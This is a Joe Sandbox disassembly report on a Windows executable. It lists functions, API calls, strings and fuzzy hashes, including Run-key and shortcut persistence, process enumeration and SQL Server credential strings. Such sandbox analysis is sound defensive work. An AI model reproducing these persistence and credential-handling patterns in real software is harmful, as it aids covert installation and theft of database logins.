RegDeleteValueA.ADVAPI32(?,?,?,00000000,0000014C), ref: 004190F3
RegCloseKey.ADVAPI32(?,?,00000000,0000014C), ref: 00419107
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000007,00000000,?,00000000,0000014C), ref: 00419118
wsprintfA.USER32 ref: 0041912E
DeleteFileA.KERNEL32(?), ref: 0041913C

Strings

%s\%s.lnk, xrefs: 00419128
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 004190CE

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Delete$CloseFileFolderOpenPathSpecialValuewsprintf
String ID: %s\%s.lnk$Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 1154411988-2596592962
Opcode ID: 8680a99d176b66001d8022403f2295d7047eb29f5125447b67d0d86d7277a6b3
Instruction ID: febd06ae0eed3d75c5d60e8e01c0ac831659a8d09b6c842fc12844dee07338b0
Opcode Fuzzy Hash: 8680a99d176b66001d8022403f2295d7047eb29f5125447b67d0d86d7277a6b3
Instruction Fuzzy Hash: EF116172204301BBE320DF50DC89FBB776CEB84755F44492EFA5186240DB799C59CBA6

Function 00421194 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,0041DBBF,?,Microsoft Visual C++ Runtime Library,00012010,?,0042B680,?,0042B6D0,?,?,?,Runtime Error!Program: ), ref: 004211A6
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 004211BE
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 004211CF
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 004211DC

Strings

MessageBoxA, xrefs: 004211B8
GetActiveWindow, xrefs: 004211C9
GetLastActivePopup, xrefs: 004211D1
user32.dll, xrefs: 004211A1

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 76c475a9fef6fa07d407ca32d3bcff483f9399ae60121a1131c1f9b0c75e568b
Instruction ID: 3b8d6b1fd37d4613fba2deb73092f88cc466a8e97da3febf9f31868e582a33ac
Opcode Fuzzy Hash: 76c475a9fef6fa07d407ca32d3bcff483f9399ae60121a1131c1f9b0c75e568b
Instruction Fuzzy Hash: DD015E753006269B87109FF5BD84A2B6BA8AB6975038004BBF504E3221DBF8C8159B69

Function 00426E83 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(COMCTL32.DLL,00000800,00000000,00000400,0042717D,?,00020000), ref: 00426E8C
LoadLibraryA.KERNEL32(COMCTL32.DLL), ref: 00426E95
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00426EA9
#17.COMCTL32 ref: 00426EC4
#17.COMCTL32 ref: 00426EE0
FreeLibrary.KERNEL32(00000000), ref: 00426EEC

Strings

InitCommonControlsEx, xrefs: 00426EA1
COMCTL32.DLL, xrefs: 00426E85, 00426E8B, 00426E92

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Library$AddressFreeHandleLoadModuleProc
String ID: COMCTL32.DLL$InitCommonControlsEx
API String ID: 1437655972-4218389149
Opcode ID: bb491fd43aba6b0e8c2a1d0aa259aeadaec453ea484b3d92aecb67fbaeb1f48b
Instruction ID: 4a4c7c25e58cff5bd38b48faff625a0a63959fba9ad448de87cc215adffcdf8a
Opcode Fuzzy Hash: bb491fd43aba6b0e8c2a1d0aa259aeadaec453ea484b3d92aecb67fbaeb1f48b
Instruction Fuzzy Hash: 4AF081367006228782319F64ED4892B73E8EB847617870436F901E3210DB28DC2687BE

Function 004231B5 Relevance: 13.7, APIs: 9, Instructions: 221COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,0042B850,00000001,0042B850,00000001,00000000,?,00000001,?,00420993,0041CCB5,00000000,?,?,0041CB28), ref: 004231F3
CompareStringA.KERNEL32(00000000,00000000,0042B84C,00000001,0042B84C,00000001,?,00420993,0041CCB5,00000000,?,?,0041CB28,?), ref: 00423210
CompareStringA.KERNEL32(?,00000000,00000000,?,0041CB28,?,00000000,?,00000001,?,00420993,0041CCB5,00000000,?,?,0041CB28), ref: 0042326E
GetCPInfo.KERNEL32(?,00000000,00000000,?,00000001,?,00420993,0041CCB5,00000000,?,?,0041CB28,?), ref: 004232BF
MultiByteToWideChar.KERNEL32(?,00000009,00000000,?,00000000,00000000,?,00420993,0041CCB5,00000000,?,?,0041CB28,?), ref: 0042333E
MultiByteToWideChar.KERNEL32(?,00000001,00000000,?,00000000,?,?,00420993,0041CCB5,00000000,?,?,0041CB28,?), ref: 0042339F
MultiByteToWideChar.KERNEL32(?,00000009,0041CB28,?,00000000,00000000,?,00420993,0041CCB5,00000000,?,?,0041CB28,?), ref: 004233B2
MultiByteToWideChar.KERNEL32(?,00000001,0041CB28,?,?,00000000,?,00420993,0041CCB5,00000000,?,?,0041CB28,?), ref: 004233FE
CompareStringW.KERNEL32(?,00000000,00000000,?,?,00000000,?,00000000,?,00420993,0041CCB5,00000000,?,?,0041CB28,?), ref: 00423416

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: ByteCharCompareMultiStringWide$Info
String ID:
API String ID: 1651298574-0
Opcode ID: 48b83fbd141a94ccb8d69ab3848ff9027be348e102ce492b48d89f942bedc8b3
Instruction ID: 4093c845da0a0ced20bfa646dcf5eb6c644e3c8907ee3115a9cfac82ec326a59
Opcode Fuzzy Hash: 48b83fbd141a94ccb8d69ab3848ff9027be348e102ce492b48d89f942bedc8b3
Instruction Fuzzy Hash: 5D71B231B00269EFCF219F94AD419EF7BB9EB05711F94406BF950A2260C73D8E51CBA9

Function 00420124 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,0042B850,00000001,?,0002E08A,00443448,?,?,00421E51,?,?,?,00000000,00000001), ref: 00420163
GetStringTypeA.KERNEL32(00000000,00000001,0042B84C,00000001,?,?,00421E51,?,?,?,00000000,00000001), ref: 0042017D
GetStringTypeA.KERNEL32(?,?,?,?,00421E51,0002E08A,00443448,?,?,00421E51,?,?,?,00000000,00000001), ref: 004201B1
MultiByteToWideChar.KERNEL32(?,H4D,?,?,00000000,00000000,0002E08A,00443448,?,?,00421E51,?,?,?,00000000,00000001), ref: 004201E9
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,00421E51,?), ref: 0042023F
GetStringTypeW.KERNEL32(?,?,00000000,00421E51,?,?,?,?,?,?,00421E51,?), ref: 00420251

Strings

H4D, xrefs: 004201DA, 004201E5

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID: H4D
API String ID: 3852931651-1263760148
Opcode ID: 59a1825f37c55a100f248f879c89801d236c0790df4e9a9586eda52e123c53dd
Instruction ID: c81b1607946be92b348f315448d01f75996464e17b26455aa78523eeaed19101
Opcode Fuzzy Hash: 59a1825f37c55a100f248f879c89801d236c0790df4e9a9586eda52e123c53dd
Instruction Fuzzy Hash: BB418D71700229EFCF219F94EC85AEB3FB8EB05750F50052AFA15E2251C339CD618BA9

Function 0041D4D4 Relevance: 12.1, APIs: 8, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,0041A519), ref: 0041D4EF
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,0041A519), ref: 0041D503
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,0041A519), ref: 0041D52F
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,0041A519), ref: 0041D567
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,0041A519), ref: 0041D589
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,0041A519), ref: 0041D5A2
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,0041A519), ref: 0041D5B5
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041D5F3

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: 6b23a82839b8acc5e6b7af18097cee82effb2656adf32773bfed6c48d01fdbe8
Instruction ID: fa193b72c4d47487dcf003940ff83be5f254d367c5a0a2e3753b9edf41a314da
Opcode Fuzzy Hash: 6b23a82839b8acc5e6b7af18097cee82effb2656adf32773bfed6c48d01fdbe8
Instruction Fuzzy Hash: 6B3122F2D092217FDB203F789C848BB769EEB4934C755053BF956C3200E6288CC182AE

Function 00402700 Relevance: 10.9, APIs: 7, Instructions: 423processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040276E
Process32First.KERNEL32(000000FF,00000000), ref: 0040284B
wm_Str.WMVERT(00000001,00402688,00000000,A0000101,?,?,?,?,?,?,?,00402688), ref: 0040294E
wm_StrComp.WMVERT(00000003,?,00000000,80000004,?,00000000,80000004,00000000,00000000,80000002), ref: 00402997
CloseHandle.KERNEL32(000000FF), ref: 004029C7
Process32Next.KERNEL32(000000FF,00000000), ref: 00402A91
CloseHandle.KERNEL32(000000FF,?,?,?,?,?,?,?,00402688), ref: 00402B7B

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: CloseHandleProcess32$CompCreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 560667762-0
Opcode ID: fa1bda31e7a23010ef01c7a4f1649ceab15bdaec874213cb4be30924290f3ede
Instruction ID: 5b1335e129ac16ceed3d9a3ff0bc628a3d19586e44839d2314c064de8689a029
Opcode Fuzzy Hash: fa1bda31e7a23010ef01c7a4f1649ceab15bdaec874213cb4be30924290f3ede
Instruction Fuzzy Hash: 03E15DF1A412469BFB00CF98DCC1B99B7A1EF59324F280435E906AB381D3B8B950DB52

Function 00413E58 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 224COMMON

Download Yara Rule

APIs

wm_InStr.WMVERT(00000004,00000000,00000000,80000004,DATABASE,00000000,80000004,00000000,00000000,00000000,00000000,00000000,80000002), ref: 00413F8C
wm_Split.WMVERT(00000003,00000000,00000000,80000004,0042FEFB,00000000,80000004,00000000,00000000,00000000), ref: 0041404F

Strings

;UID=, xrefs: 00413E7E
DATABASE, xrefs: 00413F69
Driver={SQL Server};SERVER=, xrefs: 00413E88
;PWD=, xrefs: 00413E74

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Split
String ID: ;PWD=$;UID=$DATABASE$Driver={SQL Server};SERVER=
API String ID: 1882502421-400369548
Opcode ID: 4d93cd3d49f43df961240bec2d5908da8d19845581a852792e7adeda702d5afc
Instruction ID: 40135a0cd8606cda3625763e15f4c6cb81635e91fb22769d23b6a6f5af8c0272
Opcode Fuzzy Hash: 4d93cd3d49f43df961240bec2d5908da8d19845581a852792e7adeda702d5afc
Instruction Fuzzy Hash: 8F7174B1B00305ABEB10DE95DCC1B9F77B8AF18305F14057AFA05AB381D778AE948B59

Function 0040693E Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

wm_Left.WMVERT(00000002,00000000,00000000,80000004,00000001,00000000,80000301,?,?,?,004064E1,00000000), ref: 00406973
wm_UCase.WMVERT(00000001,00000000,00000000,80000004,?,?,?,?,?,?,?,?,?,?,004064E1,00000000), ref: 0040699C
wm_Len.WMVERT(00000001,00000000,00000000,80000004), ref: 004069D7
wm_Mid.WMVERT(00000003,00000000,00000000,80000004,00000002,00000000,80000301,00000000,00000000,80000301), ref: 00406A13

Strings

d@, xrefs: 00406A21, 00406A34, 00406A3B
d@, xrefs: 0040695A, 004069BE, 004069FA

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: CaseLeft
String ID: d@$d@
API String ID: 3364113710-3226796377
Opcode ID: 40a793710fb25d4f4d94d8371b4a1ec62b564edb4fd243b1688c29db6506fd24
Instruction ID: 39a642b5bbce97f86d859668b3fba615d73ff9b03318765e658bffc85aa5833b
Opcode Fuzzy Hash: 40a793710fb25d4f4d94d8371b4a1ec62b564edb4fd243b1688c29db6506fd24
Instruction Fuzzy Hash: F32174B0B00304B7FB10DE958C82FAA3668DB15704F544579FF457A3C2E67AAE608769

Function 0041A204 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 61stringCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 0041A242
GetSystemMetrics.USER32(00000000), ref: 0041A25A
GetSystemMetrics.USER32(00000001), ref: 0041A261
lstrcpyA.KERNEL32(?,DISPLAY), ref: 0041A285

Strings

B, xrefs: 0041A223
DISPLAY, xrefs: 0041A27F

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: System$Metrics$InfoParameterslstrcpy
String ID: B$DISPLAY
API String ID: 1409579217-3316187204
Opcode ID: 27f2bd288889ab5e168fa3d0cf6ab17b691e42d71301fe091136e4a1c14bdc17
Instruction ID: 88cd6da0a6166867d1f48af6578308108a049390ce61c89ec284cbe9d45dd8f4
Opcode Fuzzy Hash: 27f2bd288889ab5e168fa3d0cf6ab17b691e42d71301fe091136e4a1c14bdc17
Instruction Fuzzy Hash: D3110A716413209FCB119F54DC84ADB7FA8EF05750B1040A7FD049A301D676D5A1CBAB

Function 004271C0 Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

GetSysColor.USER32(0000000F), ref: 004271CC
GetSysColor.USER32(00000010), ref: 004271D3
GetSysColor.USER32(00000014), ref: 004271DA
GetSysColor.USER32(00000012), ref: 004271E1
GetSysColor.USER32(00000006), ref: 004271E8
GetSysColorBrush.USER32(0000000F), ref: 004271F5
GetSysColorBrush.USER32(00000006), ref: 004271FC

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: e2b2525b6e3896253b629b5acb233ede798091c56a692c01029a52a1bc531d27
Instruction ID: 687851fea9c35c57ddea36d370c0cb43a015b737edf24dc26e769b4c6febfdcb
Opcode Fuzzy Hash: e2b2525b6e3896253b629b5acb233ede798091c56a692c01029a52a1bc531d27
Instruction Fuzzy Hash: 0BF01271A407449BD730BF729D49B47BAD0FFC4B10F02092ED1458BA90E6B5E441DF54

Function 00415809 Relevance: 9.3, APIs: 6, Instructions: 318COMMON

Download Yara Rule

APIs

wm_Chr.WMVERT(00000001,0000000D,00000000,80000101,?,00000001,00000001,00000000,00000000,00000000,00000000,00000001), ref: 0041592C
wm_Chr.WMVERT(00000001,0000000A,00000000,80000101,00000000,00000000,00000000,00000001), ref: 0041594D
wm_Chr.WMVERT(00000001,0000000D,00000000,80000101,00000000,00000000,00000001), ref: 00415A83
wm_Chr.WMVERT(00000001,0000000A,00000000,80000101,?,00000000,00000000,00000001), ref: 00415AA4
wm_Len.WMVERT(00000001,00000000,00000000,80000004,00000000,00000000,00000001), ref: 00415B38
wm_Left.WMVERT(00000002,00000000,00000000,80000004,00000000,00000000,80000301,?,?,?,?,00000000,00000000,00000001), ref: 00415B83

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Left
String ID:
API String ID: 3663022166-0
Opcode ID: 3e0a7d25b69851b196edfbec5b3f19fa714c7093f660f5707d71cb91cb189ad0
Instruction ID: db2806c7bc1aed54dc0cf86990746f99a0c2412b720fa6ab2f4ed4d8d1802cd8
Opcode Fuzzy Hash: 3e0a7d25b69851b196edfbec5b3f19fa714c7093f660f5707d71cb91cb189ad0
Instruction Fuzzy Hash: E2A156B1F44305EBEB00DF95DCC2FDE7764AB18704F54006EF648BA282E6B969908766

Function 00407B57 Relevance: 9.2, APIs: 6, Instructions: 202COMMON

Download Yara Rule

APIs

wm_RpSubText.WMVERT(00000006,00000000,00000000,80000004,0042FC1A,00000000,80000004,0042FC18,00000000,80000004,00000001,00000000,80000002), ref: 00407BCA
wm_RpSubText.WMVERT(00000006,00000000,00000000,80000004,0042FC1A,00000000,80000004,0042FC18,00000000,80000004,00000001,00000000,80000002), ref: 00407C3B
wm_InStr.WMVERT(00000004,00000000,00000000,80000004,00000000,00000000,80000004,?,00000000,80000301,?,00000000,80000002), ref: 00407CA6
wm_Len.WMVERT(00000001,00000000,00000000,80000004), ref: 00407CD9
wm_InStr.WMVERT(00000004,00000000,00000000,80000004,00000000,00000000,80000004,000000FF,00000000,80000301,?,00000000,80000002), ref: 00407D4C
wm_Mid.WMVERT(00000003,00000000,00000000,80000004,000000FF,00000000,80000301,00000000,00000000,80000301), ref: 00407DB0

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Text
String ID:
API String ID: 2612594937-0
Opcode ID: dc8526785966560277e6e46e52bd226578041c413241943d37a1270a306b9d58
Instruction ID: dea2542e24fd3d9d879432a308b2e2f3ab46501cb746a9b78f78b55327e82a99
Opcode Fuzzy Hash: dc8526785966560277e6e46e52bd226578041c413241943d37a1270a306b9d58
Instruction Fuzzy Hash: 4F614DB0F44209FBFB109E959C82FAE7774EF08704F604179FB00BA2C1D6796A60875A

Function 004033BB Relevance: 9.2, APIs: 6, Instructions: 172stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00000000), ref: 0040343A
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,FFFFFFFF,00000000,00000000,00000000,00000000,00000000), ref: 004034A8
wm_SpaceBin.WMVERT(00000001,00000000,00000000,80000301,00000000,00000000,00000000,FFFFFFFF,00000000,00000000,00000000,00000000,00000000), ref: 004034E0
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,FFFFFFFF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403537
strlen.MSVCRT ref: 00403563
wm_pbin.WMVERT(00000002,00000000,00000000,80000301,00000000,00000000,80000301,00000000,00000000,00000000,00000000,00000000), ref: 004035A3

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: ByteCharMultiWide$Spacelstrlenstrlenwm_pbin
String ID:
API String ID: 2943790939-0
Opcode ID: ca98916e7c5682f162e5a0c7b7473208f5f99d6c43a493ff8f8616eb8cdc7460
Instruction ID: 012b0db270e0ad914892ffec0a4386e4aad12fbb2b46bb7b0111badabb8749c7
Opcode Fuzzy Hash: ca98916e7c5682f162e5a0c7b7473208f5f99d6c43a493ff8f8616eb8cdc7460
Instruction Fuzzy Hash: 7F5173B1E00309BBEB109FD5CC43BDF7A78AB04715F14042AF604BA2D1D6795B548B9A

